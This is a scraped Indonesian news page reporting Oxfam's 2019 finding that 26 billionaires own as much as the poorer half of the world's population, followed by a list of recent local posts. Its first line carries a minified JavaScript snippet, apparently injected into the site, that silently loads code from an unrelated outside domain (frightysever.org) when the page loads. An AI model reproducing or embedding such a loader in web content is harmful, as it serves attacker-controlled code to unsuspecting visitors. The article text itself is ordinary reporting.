(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Ekonomi

Kekayaan Separuh Populasi Orang Miskin Dunia Setara dengan Harta 26 Miliarder!


KANALKALIMANTAN.COM, BANJARBARU– Organisasi nirlaba asal Inggris, Oxfam, baru saja merilis data mengenai jumlah total kekayaan 26 orang terkaya di dunia setara dengan kekayaan hampir separuh populasi orang miskin di dunia. Sebelumnya tahun 2017 silam, Oxfam juga telah membuat perhitungan, sebanyak 43 orang kaya di dunia memiliki kekayaan setara dengan harta yang dimiliki separuh populasi miskin di dunia.

Dipublikasikan Senin (21/1/2019), Oxfam mencatat, harta miliarder naik 2,5 miliar dollar AS per hari di sepanjang 2018, meningkat 12 persen secara tahunan. Sementara separuh dari populasi orang miskin dunia mengalami penurunan harta hingga 11 persen sepanjang tahun.

Dikutip dari CNBC, laporan bertajuk Public Good or Private Wealth tersebut dirilis ketika delegasi pimpinan-pimpinan ekonomi negara-negara dunia tengah berkumpul di Davos, Swiss dalam rangka penyelanggaraan pertemuan tahunan Forum Ekonomi Dunia (WEF).

Berdasarkan hasil riset tersebut, Oxfam pun meminta pemerintah di berbagai belahan dunia untuk meningkatkan pajak untuk korporasi juga orang-orang kaya untuk menekan angka kesenjangan.

Di dalam laporan tersebut dikatatan pemerintah cenderung semakin memperparah ketidaksetaraan dengan mengurangi dana pada layanan jasa sementara melakukan pemangkasan pajak korporasi juga gagal mengatasi orang-orang kaya yang lalai membayar pajak.

Padahal, dengan menambah setengah persen pajak penghasilan untuk orang-orang kaya tersebut dinilai bisa mendanai pendidikan 262 juta anak di dunia juga menyediakan layanan kesehatan dan menyelamatkan 3,3 juta jiwa.

Menurut Oxfam, sekitar 10.000 orang meninggal setiap hari karena mereka tidak dapat mengakses layanan kesehatan yang terjangkau. Anak-anak di negara berkembang, menurut mereka memiliki risiko meninggal sebelum memasuki usai lima tahun dua kali lebih besar jika mereka berasal dari keluarga miskin. Sementara anak-anak keluarga mampu bisa menikmati pendidikan dua kali lebih lama.(Kanalkalimantan.com/kompas/cnbc)

Editor : Cell

 

 

 

 


Al Ghifari

Recent Posts

Gugatan Pilwali Banjarbaru ke MK, Tim Haram Manyarah Perjuangkan Pemilihan Ulang

KANALKALIMANTAN.COM, JAKARTA - Keputusan Komisi Pemilihan Umum (KPU) Kota Banjarbaru penetapan Lisa Halaby-Wartono menang pada… Read More

40 menit ago

Disporapar Balangan Survei Objek Wisata Baru di Kecamatan Halong

KANALKALIMANTAN.COM, PARINGIN - Dinas Kepemudaan, Olahraga, dan Pariwisata (Disporapar) Kabupaten Balangan melakukan survei dan penilaian… Read More

12 jam ago

KMBPD Batalkan Aksi Unjuk Rasa ke KPU Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU – Rencana aksi unjuk rasa pasca penetapan hasil Pemilihan Wali Kota dan Wakil… Read More

12 jam ago

Gotong Royong Warga Desa Pematang Bersihkan Aliran Sungai

KANALKALIMANTAN.COM, PARINGIN - Upaya menjaga kelestarian lingkungan dan mendukung kebutuhan air pertanian, warga Desa Pematang,… Read More

13 jam ago

5 Desember Hari Armada RI, Ini Sejarahnya

KANALKALIMANTAN.COM - Setiap 5 Desember diperingati Hari Armada Republik Indonesia (RI) sebagai penghormatan terhadap peran… Read More

13 jam ago

Revitalisasi Taman Van Der Pijl Tahap Finishing, Ada Lapangan Basket Standar FIBA

KANALKALIMANTAN.COM, BANJARBARU - Memasuki masa akhir kontrak, progres pengerjaan revitalisasi Taman Van Der Pijl menjadi… Read More

13 jam ago

This website uses cookies.